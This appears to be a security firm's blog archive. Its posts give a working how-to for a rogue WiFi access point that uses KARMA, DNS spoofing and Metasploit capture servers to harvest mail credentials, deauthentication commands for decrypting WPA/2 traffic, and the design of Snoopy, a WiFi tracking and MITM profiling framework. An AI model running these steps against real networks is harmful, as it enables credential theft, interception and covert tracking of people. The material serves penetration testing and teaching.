Grey bar Blue bar
Share this:

Fri, 12 Jul 2013

Rogue Access Points, a how-to

In preparation for our wireless training course at BlackHat Vegas in a few weeks, I spent some time updating the content on rogue/spoofed access points. What we mean by this are access points under your control, that you attempt to trick a user into connecting to, rather than the "unauthorised access points" Bob in Marketing bought and plugged into your internal network for his team to use.

I'll discuss how to quickly get a rogue AP up on Kali that will allow you to start gathering some creds, specifically mail creds. Once you have that basic pattern down, setting up more complex attacks is fairly easy.

This is a fairly detailed "how-to" style blog entry that gives you a taste of what you can grab on our training course.


First up, you'll need a wireless card that supports injection. The aircrack forums maintain a list. I'm using the Alfa AWUS036H. Students on our course each get one of these to keep. We buy them from Rokland who always give us great service.

Second, you'll need a laptop running Kali. The instructions here are pretty much the same for BackTrack (deprecated, use Kali).

For this setup, you won't need upstream internet connectivity. In many ways setting up a "mitm" style rogue AP is much easier, but it requires that you have upstream connectivity which means you have to figure out an upstream connection (if you want to be mobile this means buying data from a mobile provider) and prevents you from using your rogue in funny places like aeroplanes or data centres. We're going to keep things simple.

Finally, you'll need to install some packages, I'll discuss those as we set each thing up.


We're going to string a couple of things together here:

Access Point <-> routing & firewalling <-> DHCP <-> spoof services (DNS & mail)

There are several ways you can do each of these depending on preference and equipment. I'll cover some alternatives, but here I'm going for quick and simple.

Access Point

Ideally, you should have a fancy wifi card with a Prism chipset that you can put into master mode, and have (digininja's karma patched) hostapd play nicely with. But, we don't have one of those, and will be using airbase-ng's soft ap capability. You won't get an AP that scales particularly well, or has decent throughput, or even guarantees that people can associate, but it's often good enough.

For this section, we'll use a few tools:

  • airbase-ng (via the aircrack-ng suite)

  • macchanger

  • iw

You can install these with: apt-get install aircrack-ng macchanger iw

First, let's practise some good opsec and randomise our MAC address, then, while we're at it, push up our transmit power. Assuming our wifi card has shown up as the device wlan0 (you can check with airmon-ng), we'll run:

ifconfig wlan0 down
macchanger -r wlan0 #randomise our MAC
iw reg set BO #change our regulatory domain to something more permissive
ifconfig wlan0 up
iwconfig wlan0 txpower 30 #1Watt transmit power

Right, now we can set up the AP using airbase. We have some options, with the biggest being whether you go for a KARMA style attack, or a point-network spoof.

airmon-ng start wlan0 #Put our card into monitor mode
airbase-ng -c6 -P -C20 -y -v mon0& #Set up our soft AP in karma mode
#airbase-ng -c6 -e "Internet" -v mon0& #Alternatively, set up our soft AP for 1 net (no karma)

Airbase has a couple of different ways to work. I'll explain the parameters:

  • -c channel, check which channel is the least occupied with airodump

  • -P (karma mode) respond to all probes i.e. if a victim's device is usually connects to the open network "Internet" it will probe to see if that network is nearby. Our AP will see the probe and helpfully respond. The device, not knowing that this isn't an ESS for the Internet network, will join our AP.

  • -y don't respond to broadcast probes, aka the "is there anyone out there" shout of wifi. This helps in busy areas to reduce the AP's workload

  • -C20 after a probed for network has been seen, send beacons with that network name out for 20 seconds afterwards. If you're having trouble connecting, increasing this can help, but not much

  • -v be verbose

  • -e "Internet" pretend to be a specific fake ESSID. Using airodump and monitoring for probed networks from your victim, and just pretending to be that network (i.e. drop -P and -y) can increase reliability for specific targets.

If you're putting this into a script, make sure to background the airbase process (the &). At this point, you should have an AP up and running.

Routing & IP Time

There are lots of options here, you could bridge the AP and your upstream interface, you could NAT (NB you can't NAT from wifi to wifi). We're not using an upstream connection, so things are somewhat simpler, we're just going to give our AP an IP and add a route for it's network. It's all standard unix tools here.

The basics:

ifconfig at0 up netmask
route add -net netmask gw
echo '1' > /proc/sys/net/ipv4/ip_forward

This is good enough for our no upstream AP, but if you wanted to use an upstream bridge, you could use the following alternates:

apt-get install bridge-utils #To get the brctl tool, only run this once
brctl addbr br0
brctl addif br0 eth0 #Assuming eth0 is your upstream interface
brctl addif br0 at0
ifconfig br0 up

If you wanted to NAT, you could use:

iptables --policy INPUT ACCEPT #Good housekeeping, clean the tables first
iptables --policy OUTPUT ACCEPT #Don't want to clear rules with a default DENY
iptables --policy FORWARD ACCEPT
iptables -t nat -F
iptables -F
#The actual NAT stuff
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i at0 -o eth0 -j ACCEPT

Legitimate Services
We need to have a fully functioning network, which requires some legitimate services. For our purposes, we only really need one, DHCP. Metasploit does have a dhcpd service, but it seems to have a few bugs. I'd recommend using the standard isc-dhcp-server in Kali which is rock solid.

apt-get install isc-dhcp-server #Only run this once
cat >> dhcpd.conf #We need to write the dhcp config file
subnet netmask {
option routers;
option domain-name-servers;
}^D #If you chose this method of writing the file, hit Ctrl-D
dhcpd -cf dhcpd.conf

Evil Services

We're going to cover three evil services here:

  • DNS spoofing

  • Captive portal detection avoidance

  • Mail credential interception services

DNS spoofing

Once again, there are a couple of ways you can do DNS spoofing. The easiest is to use Dug Song's dnsspoof. An alternative would be to use metasploit's fakedns, but I find that makes the metasploit output rather noisy. Since there's no upstream, we'll just spoof all DNS queries to point back to us.

apt-get install dsniff #Only run the first time :)
cat >> dns.txt *
^D #As in hit Ctrl-C
dnsspoof -i at0 -f dns.txt& #Remember to background it if in a script

Captive Portal Detection Avoidance

Some OS's will try to detect whether they have internet access on first connecting to a network. Ostensibly, this is to figure out if there's a captive portal requiring login. The devices which do this are Apple, BlackBerry and Windows. Metasploit's http capture server has some buggy code to try and deal with this, that you could use, however, I find the cleanest way is to just use apache and create some simple vhosts. You can download the apache config from here.

apt-get install apache2
cd /
tar zcvf ~/apache-spoof_captive_portal.tar.gz
service apache start

This will create three vhosts (apple, blackberry & windows) that will help devices from those manufacturers believe they are on the internet. You can easily extend this setup to create fake capture pages for,, etc. (students will get nice pre-prepared versions that write to msf's cred store). Because dnsspoof is pointing all queries back to our host, requests for will hit our apache.

Mail credential interception

Next up, let's configure the mail interception. Here we're going to use metasploit's capture server. I'll show how this can be used for mail, but once you've got this up, it's pretty trivial to get the rest up too (ala karmetasploit).

All we need to do, is create a resource script, then edit it with msfconsole:

cat >> karma-mail.rc
use auxiliary/server/capture/imap
exploit -j

use auxiliary/server/capture/pop3
exploit -j

use auxiliary/server/capture/smtp
exploit -j

use auxiliary/server/capture/imap
set SRVPORT 993
set SSL true
exploit -j

use auxiliary/server/capture/pop3
set SRVPORT 995
set SSL true
exploit -j

use auxiliary/server/capture/smtp
set SRVPORT 465
set SSL true
exploit -j
^D #In case you're just joining us, yes that's a Ctrl-D
msfconsole -r mail-karma.rc #Fire it up

This will create six services listening on six different ports. Three plain text services for IMAP, POP3, and SMTP, and three SSL enabled versions (although, this won't cover services using STARTTLS). Metasploit will generate random certificates for the SSL. If you want to be smart about it, you can use your own certificates (or CJR's auxiliar/gather/impersonate_ssl). Once again, because dnsspoof is pointing everything at us, we can just wait for connections to be initiated. Depending on the device being used, user's usually get some sort of cert warning (if your cert isn't trusted). Apple devices give you a fairly big obvious warning, but if you click it once, it will permanently accept the cert and keep sending you creds, even when the phone is locked (yay). Metasploit will proudly display them in your msfconsole session. For added certainty, set up a db so the creds command will work nicely.


When doing this stuff, it's interesting to see just how confusing the various warnings are from certain OS'es and how even security people get taken sometimes. To defend yourself, do the following:

  • Don't join "open" wifi networks. These get added to your PNL and probed for when you move around, and sometimes hard to remove later.

  • Remove open wifi networks from your remembered device networks. iOS in particular makes it really hard to figure out which open networks it's saved and are probing for. You can use something like airbase to figure that out (beacon out for 60s e.g.) and tell the phone to "forget this network".

  • Use SSL and validate the *exact* certificate you expect. For e.g. my mail client will only follow through with it's SSL negotiation if the *exact* certificate it's expecting is presented. If I join a network like this, it will balk at the fake certificate without prompting. It's easy, when you're in a rush and not thinking, to click other devices "Continue" button.


By this point, you should have a working rogue AP setup, that will aggressively pursue probed for networks (ala KARMA) and intercept mail connections to steal the creds. You can run this thing anywhere there are mobile devices (like the company canteen) and it's a fairly cheap way to grab credentials of a target organisation.

This setup is also remarkably easy to extend to other uses. We briefly looked at using bridging or NAT'ting to create a mitm rogue AP, and I mentioned the other metasploit capture services as obvious extensions. You can also throw in tools like sslstrip/sslsniff.

If you'd like to learn more about this and other wifi hacking techniques, then check out our Hacking by Numbers - Unplugged edition course at Black Hat. We've got loads of space.

If you'd like to read more, taddong's RootedCon talk from this year is a good place to start.

Thu, 9 May 2013

Wifi Hacking & WPA/2 PSK traffic decryption

When doing wireless assessments, I end up generating a ton of different scripts for various things that I thought it would be worth sharing. I'm going to try write some of them up. This is the first one on decrypting WPA/2 PSK traffic. The second will cover some tricks/scripts for rogue access-points. If you are keen on learn further techniques or advancing your wifi hacking knowledge/capability as a whole, please check out the course Hacking by Numbers: Unplugged, I'll be teaching at BlackHat Las Vegas soon.

When hackers find a WPA/2 network using a pre-shared key, the first thing they try and do most times, is to capture enough of the 4-way handshake to attempt to brute force the pairwise master key (PMK, or just the pre-shared key PSK). But, this often takes a very long time. If you employ other routes to find the key (say a client-side compromise) that can still take some time. Once you have the key, you can of course associate to the network and perform your layer 2 hackery. However, if you had been capturing traffic from the beginning, you would now be in a position to decrypt that traffic for analysis, rather than having to waste time by only starting your capture now. You can use the airdecap-ng tool from the aircrack-ng suite to do this:

airdecap-ng -b <BSSID of target network> -e <ESSID of target network> -p <WPA passphrase> <input pcap file>

However, because the WPA 4-way handshake generates a unique temporary key (pairwise temporal key PTK) every time a station associates, you need to have captured the two bits of random data shared between the station and the AP (the authenticator nonce and supplicant nonce) for that handshake to be able to initialise your crypto with the same data. What this means, is that if you didn't capture a handshake for the start of a WPA/2 session, then you won't be able to decrypt the traffic, even if you have the key.

So, the trick is to de-auth all users from the AP and start capturing right at the beginning. This can be done quite simply using aireplay-ng:

aireplay-ng --deauth=5 -e <ESSID>

Although, broadcast de-auth's aren't always as successful as a targeted one, where you spoof a directed deauth packet claiming to come from the AP and targeting a specific station. I often use airodump-ng to dump a list of associated stations to a csv file (with --output-format csv), then use some grep/cut-fu to excise their MAC addresses. I then pass that to aireplay-ng with:

cat <list of associated station MACs>.txt | xargs -n1 -I% aireplay-ng --deauth=5 -e <ESSID> -c % mon0

This tends to work a bit better, as I've seen some devices which appear to ignore a broadcast de-auth. This will make sure you capture the handshake so airdecap can decrypt the traffic you capture. Any further legitimate disconnects and re-auths will be captured by you, so you shouldn't need to run the de-auth again.

In summary:

  • Don't forget how useful examining traffic can be, and don't discount that as an option just because it's WPA/2

  • Start capturing as soon as you get near the network, to maximise how much traffic you'll have to examine

  • De-auth all connected clients to make sure you capture their handshakes for decryption

Once again, I'll be teaching a course covering this and other techniques at BlackHat Las Vegas, please check it out or recommend it to others if you think it's worthwhile. We're also running a curriculum of other courses at BH, including a brand new mobile hacking course.

    Fri, 7 Dec 2012

    Snoopy Release

    We blogged a little while back about the Snoopy demonstration given at 44Con London. A similar talk was given at ZaCon in South Africa. Whilst we've been promising a release for a while now, we wanted to make sure all the components were functioning as expected and easy to use. After an army of hundreds had tested it (ok, just a few), you may now obtain a copy of Snoopy from here. Below are some instructions on getting it running (check out the README file from the installer for additional info).

    Remind me what Snoopy is?
    Snoopy is a distributed tracking, data interception, and profiling framework.

    -Ubuntu 12.04 LTS 32bit online server
    -One or more Linux based client devices with internet connectivity and a WiFi device supporting injection drivers. We'd recommend the Nokia N900.
    -A copy of Maltego Radium

    After obtaining a copy from github run the script. You will be prompted to enter a username to use for Snoopy (default is 'woodstock') and to supply your public IP address. This is depicted below:

    This installation will take around 3-5 minutes. At the end of the installation you will be presented with a randomly generated password for the web interface login. Remember it. You may now run the server component with the command snoopy, and you will be presented with the server main menu, as depicted below.

    Selecting the 'Manage drone configuration packs' menu option will allow you to create custom installation packs for all of your drone devices. You will be presented with download links for these packs, such that you can download the software to your drones.

    Creating a drone pack

    Drone pack listing

    From your drone device download and extract the file from given link. Run or depending on your drone.

    N900 Install

    N900 desktop icon

    N900 main menu

    Drone running on backtrack

    All collected probe data gets uploaded to the Snoopy server every 30 seconds. All associated clients have their internet routed through the server over OpenVPN. If you so desire, you can explore the MySQL database 'snoopy' to see this raw data. Graphical data exploration is more fun though.

    Using Maltego
    In the Snoopy server menu select 'Configure server options' > 'List Maltego transform URLs'. This will give URLs to download Maltego Snoopy entities and machines, as well as a list of TDS transform URLs. You will need to download and add the entities and machines to your local Maltego installation, and add the transform URLs to your Maltego TDS account ( This is depicted below.

    Transform URLs

    Entities and transforms

    Maltego TDS server

    Adding the seed to maltego

    We can explore data my dragging the 'Snoopy' entity onto the canvas. This entity has two useful properties - 'start_time' and 'end_time'. If these are left blank Snoopy will run in 'real time' mode - that is to say displaying data from the last 5 minutes (variable can be set in server configuration menu). This time value will be 'inherited' by entities created from this point. The transforms should be obvious to explore, but below are some examples (further examples were in the original blog post).

    Drones and locations

    Devices observed at multiple=

    Countries devices have visited

    Browsing intercepted Facebook profiles

    Twitter Geolocation Intersection

    I shall write a separate blog post detailing all the transforms. For now, enjoy playing around.

    Web Interface
    You can access the web interface via http://yoursnoopyserver:5000/. You can write your own data exploration plugins. Check the Appendix of the README file for more info on that.

    Tue, 25 Sep 2012

    Snoopy: A distributed tracking and profiling framework

    At this year's 44Con conference (held in London) Daniel and I introduced a project we had been working on for the past few months. Snoopy, a distributed tracking and profiling framework, allowed us to perform some pretty interesting tracking and profiling of mobile users through the use of WiFi. The talk was well received (going on what people said afterwards) by those attending the conference and it was great to see so many others as excited about this as we have been.

    In addition to the research, we both took a different approach to the presentation itself. A 'no bullet points' approach was decided upon, so the slides themselves won't be that revealing. Using Steve Jobs as our inspiration, we wanted to bring back the fun to technical conferences, and our presentation hopefully represented that. As I type this, I have been reliably informed that the DVD, and subsequent videos of the talk, is being mastered and will be ready shortly. Once we have it, we will update this blog post. In the meantime, below is a description of the project.


    There have been recent initiatives from numerous governments to legalise the monitoring of citizens' Internet based communications (web sites visited, emails, social media) under the guise of anti-terrorism. Several private organisations have developed technologies claiming to facilitate the analysis of collected data with the goal of identifying undesirable activities. Whether such technologies are used to identify such activities, or rather to profile all citizens, is open to debate. Budgets, technical resources, and PhD level staff are plentiful in this sphere.


    The above inspired the goal of the Snoopy project: with the limited time and resources of a few technical minds could we create our own distributed tracking and data interception framework with functionality for simple analysis of collected data? Rather than terrorist-hunting, we would perform simple tracking and real-time + historical profiling of devices and the people who own them. It is perhaps worth mentioning at this point that Snoopy is compromised of various existing technologies combined into one distributed framework.

    "Snoopy is a distributed tracking and profiling framework."

    Below is a diagram of the Snoopy architecture, which I'll elaborate on:

    1. Distributed?

    Snoopy runs client side code on any Linux device that has support for wireless monitor mode / packet injection. We call these "drones" due to their optimal nature of being small, inconspicuous, and disposable. Examples of drones we used include the Nokia N900, Alfa R36 router, Sheeva plug, and the RaspberryPi. Numerous drones can be deployed over an area (say 50 all over London) and each device will upload its data to a central server.

    2. WiFi?

    A large number of people leave their WiFi on. Even security savvy folk; for example at BlackHat I observed >5,000 devices with their WiFi on. As per the RFC documentation (i.e. not down to individual vendors) client devices send out 'probe requests' looking for networks that the devices have previously connected to (and the user chose to save). The reason for this appears to be two fold; (i) to find hidden APs (not broadcasting beacons) and (ii) to aid quick transition when moving between APs with the same name (e.g. if you have 50 APs in your organisation with the same name). Fire up a terminal and bang out this command to see these probe requests:

    tshark -n -i mon0 subtype probereq

    (where mon0 is your wireless device, in monitor mode)

    2. Tracking?

    Each Snoopy drone collects every observed probe-request, and uploads it to a central server (timestamp, client MAC, SSID, GPS coordinates, and signal strength). On the server side client observations are grouped into 'proximity sessions' - i.e device 00:11:22:33:44:55 was sending probes from 11:15 until 11:45, and therefore we can infer was within proximity to that particular drone during that time.

    We now know that this device (and therefore its human) were at a certain location at a certain time. Given enough monitoring stations running over enough time, we can track devices/humans based on this information.

    3. Passive Profiling?

    We can profile device owners via the network SSIDs in the captured probe requests. This can be done in two ways; simple analysis, and geo-locating.

    Simple analysis could be along the lines of "Hmm, you've previously connected to hooters, mcdonalds_wifi, and elCheapoAirlines_wifi - you must be an average Joe" vs "Hmm, you've previously connected to "BA_firstclass, ExpensiveResataurant_wifi, etc - you must be a high roller".

    Of more interest, we can potentially geo-locate network SSIDs to GPS coordinates via services like Wigle (whose database is populated via wardriving), and then from GPS coordinates to street address and street view photographs via Google. What's interesting here is that as security folk we've been telling users for years that picking unique SSIDs when using WPA[2] is a "good thing" because the SSID is used as a salt. A side-effect of this is that geo-locating your unique networks becomes much easier. Also, we can typically instantly tell where you work and where you live based on the network name (e.g BTBusinessHub-AB12 vs BTHomeHub-FG12).

    The result - you walk past a drone, and I get a street view photograph of where you live, work and play.

    4. Rogue Access Points, Data Interception, MITM attacks?

    Snoopy drones have the ability to bring up rogue access points. That is to say, if your device is probing for "Starbucks", we'll pretend to be Starbucks, and your device will connect. This is not new, and dates back to Karma in 2005. The attack may have been ahead of its time, due to the far fewer number of wireless devices. Given that every man and his dog now has a WiFi enabled smartphone the attack is much more relevant.

    Snoopy differentiates itself with its rogue access points in the way data is routed. Your typical Pineapple, Silica, or various other products store all intercepted data locally, and mangles data locally too. Snoopy drones route all traffic via an OpenVPN connection to a central server. This has several implications:

    (i) We can observe traffic from *all* drones in the field at one point on the server. (ii) Any traffic manipulation needs only be done on the server, and not once per drone. (iii) Since each Drone hands out its own DHCP range, when observing network traffic on the server we see the source IP address of the connected clients (resulting in a unique mapping of MAC <-> IP <-> network traffic). (iv) Due to the nature of the connection, the server can directly access the client devices. We could therefore run nmap, Metasploit, etc directly from the server, targeting the client devices. This is a much more desirable approach as compared to running such 'heavy' software on the Drone (like the Pineapple, pr Pwnphone/plug would). (v) Due to the Drone not storing data or malicious tools locally, there is little harm if the device is stolen, or captured by an adversary.

    On the Snoopy server, the following is deployed with respect to web traffic:

    (i) Transparent Squid server - logs IP, websites, domains, and cookies to a database (ii) sslstrip - transparently hijacks HTTP traffic and prevent HTTPS upgrade by watching for HTTPS links and redirecting. It then maps those links into either look-alike HTTP links or homograph-similar HTTPS links. All credentials are logged to the database (thanks Ian & Junaid). (iii) - allows for arbitary code injection, as well as the use of self-signed SSL certificates. By default we inject some JavaScipt which profiles the browser to discern the browser version, what plugins are installed, etc (thanks Willem).

    Additionally, a traffic analysis component extracts and reassembles files. e.g. PDFs, VOiP calls, etc. (thanks Ian).

    5. Higher Level Profiling? Given that we can intercept network traffic (and have clients' cookies/credentials/browsing habbits/etc) we can extract useful information via social media APIs. For example, we could retrieve all Facebook friends, or Twitter followers.

    6. Data Visualization and Exploration? Snoopy has two interfaces on the server; a web interface (thanks Walter), and Maltego transforms.

    -The Web Interface The web interface allows basic data exploration, as well as mapping. The mapping part is the most interesting - it displays the position of Snoopy Drones (and client devices within proximity) over time. This is depicted below:

    -Maltego Maltego Radium has recently been released; and it is one awesome piece of kit for data exploration and visualisation.What's great about the Radium release is that you can combine multiple transforms together into 'machines'. A few example transformations were created, to demonstrate:

    1. Devices Observed at both 44Con and BlackHat Vegas Here we depict devices that were observed at both 44Con and BlackHat Las Vegas, as well as the SSIDs they probed for.

    2. Devices at 44Con, pruned Here we look at all devices and the SSIDs they probed for at 44Con. The pruning consisted of removing all SSIDs that only one client was looking for, or those for which more than 20 were probing for. This could reveal 'relationship' SSIDs. For example, if several people from the same company were attending- they could all be looking for their work SSID. In this case, we noticed the '44Con crew' network being quite popular. To further illustrate Snoopy we 'targeted' these poor chaps- figuring out where they live, as well as their Facebook friends (pulled from intercepted network traffic*).

    Snoopy Field Experiment

    We collected broadcast probe requests to create two main datasets. I collected data at BlackHat Vegas, and four of us sat in various London underground stations with Snoopy drones running for 2 hours. Furthermore, I sat at King's Cross station for 13 hours (!?) collecting data. Of course it may have made more sense to just deploy an unattended Sheeva plug, or hide a device with a large battery pack - but that could've resulted in trouble with the law (if spotted on CCTV). I present several graphs depicting the outcome from these trials:

    The pi chart below depicts the proportion of observed devices per vendor, from the total sample of 77,498 devices. It is interesting to see Apple's dominance. pi_chart

    The barchart below depicts the average number of broadcast SSIDs from a random sample of 100 devices per vendor (standard deviation bards need to be added - it was quite a spread).

    The barchart below depicts my day sitting at King's Cross station. The horizontal axis depicts chunks of time per hour, and the vertical access number of unique device observations. We clearly see the rush hours.

    Potential Use

    What could be done with Snoopy? There are likely legal, borderline, and illegal activities. Such is the case with any technology.

    Legal -Collecting anonymized statistics on thoroughfare. For example, Transport for London could deploy these devices at every London underground to get statistics on peak human traffic. This would allow them to deploy more staff, or open more pathways, etc. Such data over the period of months and years would likely be of use for future planning. -Penetration testers targeting clients to demonstrate the WiFi threat.

    Borderline -This type of technology could likely appeal to advertisers. For example, a reseller of a certain brand of jeans may note that persons who prefer certain technologies (e.g. Apple) frequent certain locations. -Companies could deploy Drones in one of each of their establishments (supermarkets, nightclubs, etc) to monitor user preference. E.g. a observing a migration of customers from one establishment to another after the deployment of certain incentives (e.g. promotions, new layout). -Imagine the Government deploying hundreds of Drones all over a city, and then having field agents with mobile Drones in their pockets. This could be a novel way to track down or follow criminals. The other side of the coin of course being that they track all of us...

    Illegal -Let's pretend we want to target David Beckham. We could attend several public events at which David is attending (Drone in pocket), ensuring we are within reasonable proximity to him. We would then look for overlap of commonly observed devices over time at all of these functions. Once we get down to one device observed via this intersection, we could assume the device belongs to David. Perhaps at this point we could bring up a rogue access point that only targets his device, and proceed maliciously from there. Or just satisfy ourselves by geolocating places he frequents. -Botnet infections, malware distribution. That doesn't sound very nice. Snoopy drones could be used to infect users' devices, either by injection malicious web traffic, or firing exploits from the Snoopy server at devices. -Unsolicited advertising. Imagine browsing the web, and an unscrupulous 3rd party injects viagra adverts at the top of every visited page?

    Similar tools

    Immunity's Stalker and Silica Hubert's iSniff GPS

    Snoopy in the Press

    Risky Biz Podcast Naked Scientist Podcast(transcript) The Register Fierce Broadband Wireless


    Q. But I use WPA2 at home, you can't hack me! A. True - if I pretend to be a WPA[2] network association it will fail. However, I bet your device is probing for at least one open network, and when I pretend to be that one I'll get you.

    Q. I use Apple/Android/Foobar - I'm safe! A. This attack is not dependent on device/manufacture. It's a function of the WiFi specification. The vast majority of observed devices were in fact Apple (>75%).

    Q. How can I protect myself? A. Turn off your WiFi when you l leave home/work. Be cautions about using it in public places too - especially on open networks (like Starbucks). A. On Android and on your desktop/laptop you can selectively remove SSIDs from your saved list. As for iPhones there doesn't seem to be option - please correct me if I'm wrong? A. It'd be great to write an application for iPhone/Android that turns off probe-requests, and will only send them if a beacon from a known network name is received.

    Q. Your research is dated and has been done before! A. Some of the individual components, perhaps. Having them strung together in our distributed configuration is new (AFAIK). Also, some original ideas where unfortunately published first; as often happens with these things.

    Q. But I turn off WiFi, you'll never get me! A. It was interesting to note how many people actually leave WiFi on. e.g. 30,000 people at a single London station during one day. WiFi is only one avenue of attack, look out for the next release using Bluetooth, GSM, NFC, etc :P

    Q. You're doing illegal things and you're going to jail! A. As mentioned earlier, the broadcast nature of probe-requests means no laws (in the UK) are being broken. Furthermore, I spoke to a BT Engineer at 44Con, and he told me that there's no copyright on SSID names - i.e. there's nothing illegal about pretending to be "BTOpenzone" or "SkyHome-AFA1". However, I suspect at the point where you start monitoring/modifying network traffic you may get in trouble. Interesting to note that in the USA a judge ruled that data interception on an open network is not illegal.

    Q. But I run iOS 5/6 and they say this is fixed!! A. Mark Wuergler of Immunity, Inc did find a flaw whereby iOS devices leaked info about the last 3 networks they had connected to. The BSSID was included in ARP requests, which meant anyone sniffing the traffic originating from that device would be privy to the addresses. Snoopy only looks at broadcast SSIDs at this stage - and so this fix is unrelated. We haven't done any tests with the latest iOS, but will update the blog when we have done so.

    Q. I want Snoopy! A. I'm working on it. Currently tidying up code, writing documentation, etc. Soon :-)

    Tue, 7 Aug 2012

    Black Hat Training Classes Update

    Hey All,

    We're about locked and loaded down here in ZA - ready to tackle the looooong journey to Vegas for Black Hat. If you're headed to Black Hat but haven't yet booked training there's still time, so I thought I'd push out a brief update on what's still available from our stable of courses. As many of our courses have sold out we opened second classrooms and as a result have plenty of space to accommodate late comers!

    Here's the deal:

    1. "Cadet" is our intro course. We only offer it on the weekend (21st & 22nd) but its really popular so we've opened a 2nd classroom. Plenty of space available, so sign up!

    2. "Bootcamp" is our novice course. We've opened up additional classrooms also, so we can accommodate at least 9 more people.

    3. Our "Unplugged" Wifi course is sold out and we simply can't take any more people there unfortunately.

    4. "BlackOps" is our post-exploitation course. It has sold really well this year, but we do still have a handful of seats available if you hurry.

    5. "W^3" is our web hacking course. It only runs during the week (23rd & 24th) but we have a a nice spacious classroom so there are still plenty of seats available. Classic web hacking goodness.

    6. "Combat" is our advanced CTF based training lab. It is an amazing course if you're already an experienced pentester. We keep the classroom sizes small, but we could possibly accommodate another 5 people on the weekend and maybe 10 people during the week.

    If you need help selecting the right course, or getting registered, please contact us via training[at]sensepost[dot]com.

    If you're based outside the US and won't be making Vegas this year, there's still hope! Check out these two other events where we'll be offering courses: